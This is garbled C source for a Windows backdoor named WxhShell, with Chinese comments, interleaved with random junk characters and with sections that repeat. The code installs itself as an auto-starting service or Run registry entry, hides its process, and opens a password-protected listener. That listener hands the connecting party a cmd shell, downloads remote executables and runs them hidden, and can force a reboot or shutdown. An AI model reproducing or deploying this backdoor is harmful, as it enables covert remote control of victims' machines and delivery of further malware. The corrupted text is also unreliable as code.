={p PROCESS_BASIC_INFORMATION pbi; U\*J9 AkQ~k0i}b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !d0kV,F: if(NULL == hInst ) return 0; Y`SvMkP)+ D!IY&H,wo g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _"rgET`vW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
Z>5b;8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;hN!s`vq nc|p ) if (!NtQueryInformationProcess) return 0; 5"O.,H} X_\otVh(D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '16b2n+F@# if(!hProcess) return 0; V[Ui/M!9Z ,1o FPa{? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j+
0I-p VS8Rx.? CloseHandle(hProcess); ^,T(mKS JrRH\+4K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j HJ`,# if(hProcess==NULL) return 0; L0WN\|D b!5~7Ub.No HMODULE hMod; XuM'_FN`A< char procName[255]; 2!=f hN unsigned long cbNeeded; *YuF0Yt 9m~p0 ILh if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *wB1,U{ QE`bSI CloseHandle(hProcess); e h?zNu2= P?of<i2E if(strstr(procName,"services")) return 1; // 以服务启动 ExL0?FemWV L>4"( return 0; // 注册表启动 i6Emhji } mSh[}%swj (V67`Z ) // 主模块 .jjG(L int StartWxhshell(LPSTR lpCmdLine) JYbL?N {
tG22#F` SOCKET wsl; [%1CRk BOOL val=TRUE; %2V? ,zY@ int port=0; K^<BW(s struct sockaddr_in door; +*/Zu`kzX z/@slT if(wscfg.ws_autoins) Install(); UJ')I`zuI A@{PZ port=atoi(lpCmdLine); PP33i@G >V8-i` if(port<=0) port=wscfg.ws_port; )cMh0SGcM1 -**g~ty) WSADATA data; LIF7/$,0 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )W
_v:?A9 68C%B9.b' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |"CZ T# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5(Q%XQV*P door.sin_family = AF_INET; y,,dCca door.sin_addr.s_addr = inet_addr("127.0.0.1"); PmEsN&YP] door.sin_port = htons(port); 4yA+h2 0rs"o-s< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;RPx^X~ closesocket(wsl); j/c&xv7= return 1; Sp]0c[37R } eiaFaYe\ XW)lDiJl if(listen(wsl,2) == INVALID_SOCKET) { !Pfr,a closesocket(wsl); Vd+T$uC return 1; Pw`8Wj } nV/G8SeI Wxhshell(wsl); y'nK>)WG4 WSACleanup(); B7E:{9l~s{ u[=r,^YQ return 0; 0gP}zM73 X[BIA+6 } 0)e\`Bv A&Usddcp // 以NT服务方式启动 ~/iKh11 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9`X\6s { hT&Y#fh
DWORD status = 0; >rmqBDKaQ DWORD specificError = 0xfffffff; ZdWm:(nkU ~t~k2^)|" serviceStatus.dwServiceType = SERVICE_WIN32; Q1I6$8:7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; W/bQd)Jvk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ee%%d serviceStatus.dwWin32ExitCode = 0; Q6!zZ))~ serviceStatus.dwServiceSpecificExitCode = 0; qvKG-|j serviceStatus.dwCheckPoint = 0; z3m85F%dR serviceStatus.dwWaitHint = 0; WUXx;9 > o&)8o5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k1Y ? if (hServiceStatusHandle==0) return; }I6veagK
goOCu status = GetLastError(); dhf!o0'1M if (status!=NO_ERROR) u5b|#&-mX { BLf>_bUk serviceStatus.dwCurrentState = SERVICE_STOPPED; DGn;m\B serviceStatus.dwCheckPoint = 0; X Dm[Gc>(~ serviceStatus.dwWaitHint = 0; pG^ serviceStatus.dwWin32ExitCode = status; m6\E$;` serviceStatus.dwServiceSpecificExitCode = specificError; +RM SA^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); +YKi, return; hPkWCoQpq } A,Vu\3HS ub#a` serviceStatus.dwCurrentState = SERVICE_RUNNING; CMG&7(MR serviceStatus.dwCheckPoint = 0; aU "8{ serviceStatus.dwWaitHint = 0; N&+x+;Kx if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $)ijN^hV } U175{N%3 c&?m>2^6 // 处理NT服务事件,比如:启动、停止 /}fHt^2H VOID WINAPI NTServiceHandler(DWORD fdwControl) 8hz^%vm { G kl71VX switch(fdwControl) %i9E @EV { GxI!{oi2 case SERVICE_CONTROL_STOP: U}e!Wjrc serviceStatus.dwWin32ExitCode = 0; S.94edQ serviceStatus.dwCurrentState = SERVICE_STOPPED; lH x^D;m6 serviceStatus.dwCheckPoint = 0; < #}5IQ5`Z serviceStatus.dwWaitHint = 0; rv^@, 8vq { n&;85IF1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); TA`1U;c{n } =_ ./~ return; (ybI\UI case SERVICE_CONTROL_PAUSE: i$:*Pb3mV serviceStatus.dwCurrentState = SERVICE_PAUSED; ;!mzyb* break; L:pYn_ case SERVICE_CONTROL_CONTINUE: qYjce]c serviceStatus.dwCurrentState = SERVICE_RUNNING; 2W96Zju\ break; vrhT<+q case SERVICE_CONTROL_INTERROGATE: JPc+rfF break; $%CF8\0 }; sV{,S>s SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sw8]EH6 } +mmSfuO&\ 3G)#5Lf< // 标准应用程序主函数 7uS~MW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?GoR^p #p { l|~A#kq vMi;+6'n> // 获取操作系统版本 Jr
,;>
OsIsNt=GetOsVer(); D3Ig>gKo?m GetModuleFileName(NULL,ExeFile,MAX_PATH); "$Z= %.3Q Vod\a5c // 从命令行安装 dGYn4i2k? if(strpbrk(lpCmdLine,"iI")) Install(); Ustv{:7v <ro7vPKNa // 下载执行文件 uk<4+x,2) if(wscfg.ws_downexe) { 8 S:w7Hr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Fzb6/ WinExec(wscfg.ws_filenam,SW_HIDE); B:;pvW] } i&Tbz! uGf@ if(!OsIsNt) {
nzuX&bSw // 如果时win9x,隐藏进程并且设置为注册表启动 _"Dv
uR HideProc(); 1#V_Z^OL StartWxhshell(lpCmdLine); +j`5F3@ } 3nIU1e else uy[At+%zg if(StartFromService()) +eWQa`g // 以服务方式启动 \=?a/ StartServiceCtrlDispatcher(DispatchTable); J{p1|+h% else 6y%qVx#! // 普通方式启动 g2LM_1\ StartWxhshell(lpCmdLine); #zv3b[@ ^pAAzr"hv return 0; N
,'GN[s } B4c]}r+ -LoZs
ru n/;WxnnQ ]_mb7X> =========================================== =r?hgGWe |C;=-| k$z_:X (Y.k8";)` G\/zkrxmv Zw
26 " IXMop7~ b@gc{R}7 #include <stdio.h> V%7WUq #include <string.h> knu,"< #include <windows.h> =V,mtT #include <winsock2.h> DbBcQ% #include <winsvc.h> a?I=
!js #include <urlmon.h> 1y4|{7bb }WC[$Y_@ #pragma comment (lib, "Ws2_32.lib") &=@IzmA #pragma comment (lib, "urlmon.lib") \+oQd=K@ $B2J
T9 #define MAX_USER 100 // 最大客户端连接数 sQUM~HD\a #define BUF_SOCK 200 // sock buffer ="1Ind@w!
#define KEY_BUFF 255 // 输入 buffer GfxZ'VIn fa
jGZyd0: #define REBOOT 0 // 重启 :KSV4>X[%a #define SHUTDOWN 1 // 关机 .;y.]Z/; Z,
zWuE3 #define DEF_PORT 5000 // 监听端口 aD<A.Lhy QUwd [ #define REG_LEN 16 // 注册表键长度 j78i#}e #define SVC_LEN 80 // NT服务名长度 qTRsZz@ ,8S/t+H // 从dll定义API .KB^3pOpx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tVYF{3BhA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :;RMo2Tl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YFLZ %( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s[RAHU dc+>m,3$ // wxhshell配置信息 |IeTqEu9 struct WSCFG { 7Kr*P<-G int ws_port; // 监听端口 {g'(~ qv char ws_passstr[REG_LEN]; // 口令 c?(4t67| int ws_autoins; // 安装标记, 1=yes 0=no vONasD9At char ws_regname[REG_LEN]; // 注册表键名 a5dLQxb char ws_svcname[REG_LEN]; // 服务名 -P(efYk char ws_svcdisp[SVC_LEN]; // 服务显示名 jnkR}wAA char ws_svcdesc[SVC_LEN]; // 服务描述信息 L4@K~8j7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B?eCe}*f;B int ws_downexe; // 下载执行标记, 1=yes 0=no 0JWDtmK=C char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !j8FIY'[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -V*R\,> GL>O4S<` }; afCW(zHp / H[=5 // default Wxhshell configuration Hck]aKI+ struct WSCFG wscfg={DEF_PORT, fbyd"(V8r "xuhuanlingzhe", a(m2n.0'> 1, e[{0)y>= "Wxhshell", uP`Z12& "Wxhshell", v^sv<4*% "WxhShell Service", paA(C|%{ "Wrsky Windows CmdShell Service", +C^nO=[E "Please Input Your Password: ", _>o:R$ %} 1, l]
K3Y\#bP "http://www.wrsky.com/wxhshell.exe", {X!r8i "Wxhshell.exe" =}<IfNA }; 3<e=g)F Yj<a"
Gr4[ // 消息定义模块 7m47rJyW4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bt@<
ut\ char *msg_ws_prompt="\n\r? for help\n\r#>"; vOH4# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XnH05LQ char *msg_ws_ext="\n\rExit."; 3p$?,0ELH char *msg_ws_end="\n\rQuit."; *[Imn\hu char *msg_ws_boot="\n\rReboot..."; `Y0%cXi3 char *msg_ws_poff="\n\rShutdown..."; R)?*N@.s char *msg_ws_down="\n\rSave to "; 0gu_yg! R [CTnXb char *msg_ws_err="\n\rErr!"; >1X|^ char *msg_ws_ok="\n\rOK!"; ^L,K& Jd Gf%~{@7=u char ExeFile[MAX_PATH]; cRC6 s8 int nUser = 0; +X\FBvP& HANDLE handles[MAX_USER]; dUD[e,? int OsIsNt; vJLK,[ s2a{>II6 SERVICE_STATUS serviceStatus; {Ea
b
j SERVICE_STATUS_HANDLE hServiceStatusHandle; xf'V{9* bS{bkE> // 函数声明 "6("9" int Install(void); `{gHA+B int Uninstall(void); nd`1m[7MNu int DownloadFile(char *sURL, SOCKET wsh); FBG4pb9=~ int Boot(int flag); B5`EoZ void HideProc(void); `C,n0'PL. int GetOsVer(void); x[|}.Ew int Wxhshell(SOCKET wsl);
>^O7 void TalkWithClient(void *cs); \Zb;'eDv int CmdShell(SOCKET sock); ImA @}: int StartFromService(void); pj8=wc h int StartWxhshell(LPSTR lpCmdLine); iR HQ:Y! b;L\EB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~kV/!= VOID WINAPI NTServiceHandler( DWORD fdwControl ); H[T?\Lq d.aS{;pse // 数据结构和表定义 s `e{}\ SERVICE_TABLE_ENTRY DispatchTable[] = 0RzEY!9g+ { JT~4mT {wscfg.ws_svcname, NTServiceMain}, I !-
U'{ {NULL, NULL} C;v.S5x }; {% 6}' 9FF0%*tGo // 自我安装 s$IDLs,WM int Install(void) B 5L2< { "mo?*
a$Sk char svExeFile[MAX_PATH]; >e
lJkq| HKEY key; )J=! L\ strcpy(svExeFile,ExeFile); m1b?J3 I2XU(pYU // 如果是win9x系统,修改注册表设为自启动 6]i-E>p3R if(!OsIsNt) { S*pGMuui if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xa[.3=bV? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y4yhF8E>;U RegCloseKey(key); @ 8(q$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,.S~
Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9p85Pv [M= RegCloseKey(key); )w em|:H return 0; rDtY[ } K&u_R
} JhYe6y[q } Z<oaK else { *9
{PEx MyOd,vU // 如果是NT以上系统,安装为系统服务 DmK57V4L^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nd4f^Y if (schSCManager!=0) ]dVGUG8 { 4>YR{ SC_HANDLE schService = CreateService ]U?^hZ_ ( <(#(hDwy schSCManager, 0J*??g-n wscfg.ws_svcname, *YI98 wscfg.ws_svcdisp, yHYsZ,GE SERVICE_ALL_ACCESS, #Bze,?@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UhF-K#Z9 SERVICE_AUTO_START, 5{TsiZh4 SERVICE_ERROR_NORMAL, 3l]lwV svExeFile, 'B$yo] NULL, &/Z
/Y ] NULL, J[&@PUy NULL, 5"VTK NULL, 7jrt7[{ NULL t
mntp ); ';k5?^T if (schService!=0) W<{h,j8 { LG0;#3YwH CloseServiceHandle(schService); h#I>M`| CloseServiceHandle(schSCManager); $V;i
'(&7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4IK( 7 strcat(svExeFile,wscfg.ws_svcname); lM`2sy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2g
`o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]2A^1Del RegCloseKey(key); ;7*[Bcj. return 0; + /G2fhE } {L971W_L } 2YL?,uLS CloseServiceHandle(schSCManager); +bxYGD } &$BjV{,/zc } g@Z))M+ D_ 2:k'4 return 1; L<c4kw } evJ4C#Pr k?yoQL* // 自我卸载 r wL`Czs int Uninstall(void) 1dY}\Sp { K`eCDvlH HKEY key; sfH_5
#w 5&g@3j] if(!OsIsNt) { BU)U/A8iS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -/B+T>[nTb RegDeleteValue(key,wscfg.ws_regname); >gQ>1Bwvi RegCloseKey(key); uh_RGM& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.:<-xo RegDeleteValue(key,wscfg.ws_regname); u]wZQl#- RegCloseKey(key); .8g)av+ return 0; ~%F9%= } 8$cLG*=h4 } CZe ]kXNv } )CYGQMK else { w_c"@CjkE <V'@ks% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L- iy if (schSCManager!=0) }v;V=%N+v { %QH$ipM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _{O>v\u if (schService!=0) 3Aip}<1 { *"2+B&Y if(DeleteService(schService)!=0) { sjTZF- CloseServiceHandle(schService); X #dmo/L8 CloseServiceHandle(schSCManager); phkwN}6 return 0; h^45,E C } [^n.Pn s CloseServiceHandle(schService); tIi&;tw] } dbLZc$vPj CloseServiceHandle(schSCManager); Z#jZRNU%ox } pQ" >UL* } iU918!!N LP^$AAy return 1; ITQA0PISL } w(Ovr`o?9t )}R0Y=e // 从指定url下载文件 yN0Vr\r2 int DownloadFile(char *sURL, SOCKET wsh) KkyVSoD\ { }Bh8=F3O
Q HRESULT hr; Y Uc+0 char seps[]= "/"; w/<L
Ag char *token; s+Pq&<nV- char *file; "^[ 'y7i char myURL[MAX_PATH]; bP#:Oi0v` char myFILE[MAX_PATH]; pX<`+t[ atH*5X6d strcpy(myURL,sURL); 7"D",1h token=strtok(myURL,seps); ]%SH> while(token!=NULL) 3NqB
<J { XX!%RE`M8 file=token; :G=fl)!fE token=strtok(NULL,seps); Ny7 S } l4YbK np] c]<5zyl"j1 GetCurrentDirectory(MAX_PATH,myFILE); 0o4XUW strcat(myFILE, "\\"); k'Hs}z eNn strcat(myFILE, file); &B;~
send(wsh,myFILE,strlen(myFILE),0); M?49TOQA send(wsh,"...",3,0); *R,5h2; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q q`4<0 I> if(hr==S_OK) bs&43Ae return 0; bj^5yX;2 else ?81c 4w return 1; *Q.>-J<S =Bey gT^ } Jr4Ky<G_i uZYF(Yu // 系统电源模块 }tuC} int Boot(int flag) Q*cf( { <=&`ZH HANDLE hToken; e"cXun4nS= TOKEN_PRIVILEGES tkp; R^fPIv`q uMv,zO5 if(OsIsNt) { bWS&Yk( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <dNOd0e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3`?7<YJ tkp.PrivilegeCount = 1; T<>,lQs(a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .43'HV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y-z(zS^1 if(flag==REBOOT) { \l0[rcEf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =%O6:YM
return 0; =I5>$}q_&, } hE/cd1iJ$ else { ) q4[zv9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #%2rP'He return 0; 5;WH:XM } 6_;icpN] } MchA{p&Ol else { {Mk6T1Bkq if(flag==REBOOT) { I
34>X`[o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a-tmq]]E return 0; @1j
} QIEJ6` else {
/maJtX' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W@IQ^
}E return 0; Rp7mh]kZ } MN>b7O \.? } 9=tIz d-ko
^Y0 return 1; 3=[mP,pLh } `}\
"Aw c 8Fh)eha9f // win9x进程隐藏模块 U/M>?G~ void HideProc(void) >Tx?%nQ { TX/Xt7#R: ,p a {qne HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Is kWgc if ( hKernel != NULL ) y^*~B(T{ { T!{w~'=F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .{^5X)
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kZ:ZtE FreeLibrary(hKernel); re<{
> } t@;p |Ez>J+uye( return; B[Scr5| } P+sW[: 3?yg\ // 获取操作系统版本 ]EAO+x9 int GetOsVer(void) i]4I [! { n@i HFBb OSVERSIONINFO winfo; WwFm*4{[o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q2j{tP# GetVersionEx(&winfo); v?$:@9pAk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ytrK
Q return 1; JbbzV> else n>XdU%& return 0; <lPG=Xt } JQI: sj q;CiV // 客户端句柄模块 A)!*]o>U int Wxhshell(SOCKET wsl) x,-75 { ioCsV SOCKET wsh; / SB;Von struct sockaddr_in client; jr."I+ DWORD myID; G` A4|+W" zw[m9N5\h while(nUser<MAX_USER) EVSX.'&f { AT3Mlz~7# int nSize=sizeof(client); _{KG
4+5\X wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ND;#7/$> if(wsh==INVALID_SOCKET) return 1; cI*;k.KU p2](_}PK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kc-W&?~y#1 if(handles[nUser]==0) fr3d closesocket(wsh); y%T_pTcU else kevrsV]/$ nUser++; /3T1U } 7$=InK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KpGhQdR# "+s++@
z return 0; GefTdO.& } D>q9 3;p GVn!O1jio // 关闭 socket
Otuf]B^s void CloseIt(SOCKET wsh) S\=Nn7" { )t#W{Gzfmh closesocket(wsh); TJRCH>E[a nUser--; ^h6tr8yn ExitThread(0); R 9\*#c } z:*|a+cy D,feF9 // 客户端请求句柄 ,qxu|9L void TalkWithClient(void *cs) wHy!CP% { fZF@k5*\ ICQKP1WFp SOCKET wsh=(SOCKET)cs; .q>iXE_c char pwd[SVC_LEN]; C'x&Py/# char cmd[KEY_BUFF]; :o3N;*o>)0 char chr[1]; l_p2Riv int i,j; ,J@ yN-9[P8C while (nUser < MAX_USER) { 0(HU}I g-
gV2$I if(wscfg.ws_passstr) { "to;\9lP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]a`$LW} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 H:X3y+ //ZeroMemory(pwd,KEY_BUFF); WsB ?C&>x i=0; 7[)E>XRE while(i<SVC_LEN) { 4WB0Pt{ ktIFI`@w) // 设置超时 M= (u]%\ fd_set FdRead; !Uo4,g6r+ struct timeval TimeOut; $UwCMPs X FD_ZERO(&FdRead); `c$V$/IT FD_SET(wsh,&FdRead); 9.#<b|g TimeOut.tv_sec=8; mfr|:i TimeOut.tv_usec=0; z{QqY.Gu{G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W=?<<dVYD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?J0y| Z`i(qCAd( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %N._w!N<5n pwd=chr[0]; 6gDN`e,@ if(chr[0]==0xd || chr[0]==0xa) { R|(a@sL pwd=0; Pq$n5fZC! break; 1% ` Rs
} e0 ecD3 i++; =3P)q" } %|oym.-I6
At;LO9T3z // 如果是非法用户,关闭 socket h?U
O&( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "{t$nVJ } P%n>Tg80M a<e[e> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SpBy3wd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~xTt204S Lg hfM"g while(1) { u ga_T 6 u6x ZeroMemory(cmd,KEY_BUFF); A#,ZUOPGH fz_r7? // 自动支持客户端 telnet标准 %]i15;{X j=0; xE}>,O|'q while(j<KEY_BUFF) { %BODkc Zh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UiNP3TJ'L cmd[j]=chr[0]; V;=cwy)I if(chr[0]==0xa || chr[0]==0xd) { 6y<EgYzdE cmd[j]=0; DY*N|OnqJ break; EU#^7 } %C]>9." j++; !G|@6W` } zH
r_!~ Z\sDUJ // 下载文件 P+}h$_x if(strstr(cmd,"http://")) {
='jT~\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); WIGi51yC.x if(DownloadFile(cmd,wsh)) rJB}qYD send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z_NCD`i; else =_^X3z0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,esmV- } [Rb+q=z# else { &^nGtW%a 9 iy"*5<;*DD switch(cmd[0]) { nk:)j:fr hbn([+xY // 帮助 \M-OC5fQv case '?': { O/LXdz0B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EQ_aa@M7 break; h+,@G,|D } gqR(.Pu // 安装 Wp,R^d case 'i': { F'Z,]b'st3 if(Install()) \2z>?i) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2AdDIVYC else mkpMfPt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); unxqkU/<Z break; ]$hBMuUa } $cgcX // 卸载 Hr C+Yjp case 'r': { tJmTBsn if(Uninstall()) 2 E=L8< send(wsh,msg_ws_err,strlen(msg_ws_err),0); dr"1s-D4IQ else fQFk+C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UF|p';oom break; m {}Lm)M } HOi`$vX}N // 显示 wxhshell 所在路径 - YBY[%jF> case 'p': { Wn6Sn{8W{ char svExeFile[MAX_PATH]; 1;iUWU1@ strcpy(svExeFile,"\n\r"); ry]l.@o; strcat(svExeFile,ExeFile); W*G<X.Hf send(wsh,svExeFile,strlen(svExeFile),0); QGz|*] break; ?]5qr?W% } OrW // 重启 u?EN case 'b': { F"kAkX>3} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rM SZ" if(Boot(REBOOT)) iow"n$/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ul# r else { N>E_%]C h closesocket(wsh); D+c>F5 ExitThread(0); IGgL7^MF } ,: ^u-b| break; {{1G`;|v9 } =MWHJ'3-/ // 关机 o;*Q}Gr<M case 'd': { fV~~J2IK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _v:SP
L U if(Boot(SHUTDOWN)) `@%LzeGz send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` %}RNC else { ]###w; closesocket(wsh); 4e ExitThread(0); y>LBl] } 06jQE2z2R break; ,)io5nZF } 5twhm // 获取shell F[MFx^sT{ case 's': { MfkZ CmdShell(wsh); T>>c2$ x closesocket(wsh); u:b=\T L ExitThread(0); p}P-6&k,U break; #z42C?V } cb bFw // 退出 s[ N@0 case 'x': { _Ey5n!0: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m+9#5a- CloseIt(wsh); 0`H#
'/ break; qSQ~D(tO } 1*7@BP5 // 离开 Zd&S@Z case 'q': { ('~LMu_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); @nf`Gw ; closesocket(wsh); |uDdHX8T WSACleanup(); `u\n0=go exit(1); M%#e1"n break; 2qp#N% } P2Y^d#jO } d5d@k } `h;[TtIX4 >sbu<|]a
7 // 提示信息 S>{~nOYt-` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =c7;r]Ol } V8(- } /RF7j; ce(#2o&` return; Ca\6vR } N21smC} ;}t(Wnu. // shell模块句柄 K^[?O{x^B int CmdShell(SOCKET sock) Ho%CDz
z { +[P{&\d4} STARTUPINFO si; Zc2PepIg ZeroMemory(&si,sizeof(si)); 0YHFvy) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D{!IW!w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g&.=2uP PROCESS_INFORMATION ProcessInfo; I@3MO0V^ char cmdline[]="cmd"; &{i{XcqH' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NVs@S-rpX return 0; @pxcpXCy } _4f;<FL aDCwI :Li( // 自身启动模式 v>56~AJ int StartFromService(void) 8i pez/ { Debv4Gr;^ typedef struct r
:dTz { n:X y6H DWORD ExitStatus; = /8cp DWORD PebBaseAddress; 3a|\dav% DWORD AffinityMask; m kexc~l DWORD BasePriority; oU/5 a>9~ ULONG UniqueProcessId; 3oqHGA:} ULONG InheritedFromUniqueProcessId; {b{s<@? } PROCESS_BASIC_INFORMATION; 54/=G(F (w{j6).3Dj PROCNTQSIP NtQueryInformationProcess; ])!*_ Uz7<PLxd static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )X!,3Ca{43 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O@P"MXEG t^L]/$q HANDLE hProcess; 5X+A"X
;C PROCESS_BASIC_INFORMATION pbi; #1[u(<AS Z{R> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U6VKMxSJ if(NULL == hInst ) return 0; BuwY3F\-O Xeajxcop# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [gB+C84%% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F\!
`/4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fZ. ONq *](iS if (!NtQueryInformationProcess) return 0;
l^qI,M CWlw0X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BzzTGWq\ if(!hProcess) return 0; 1"g<0
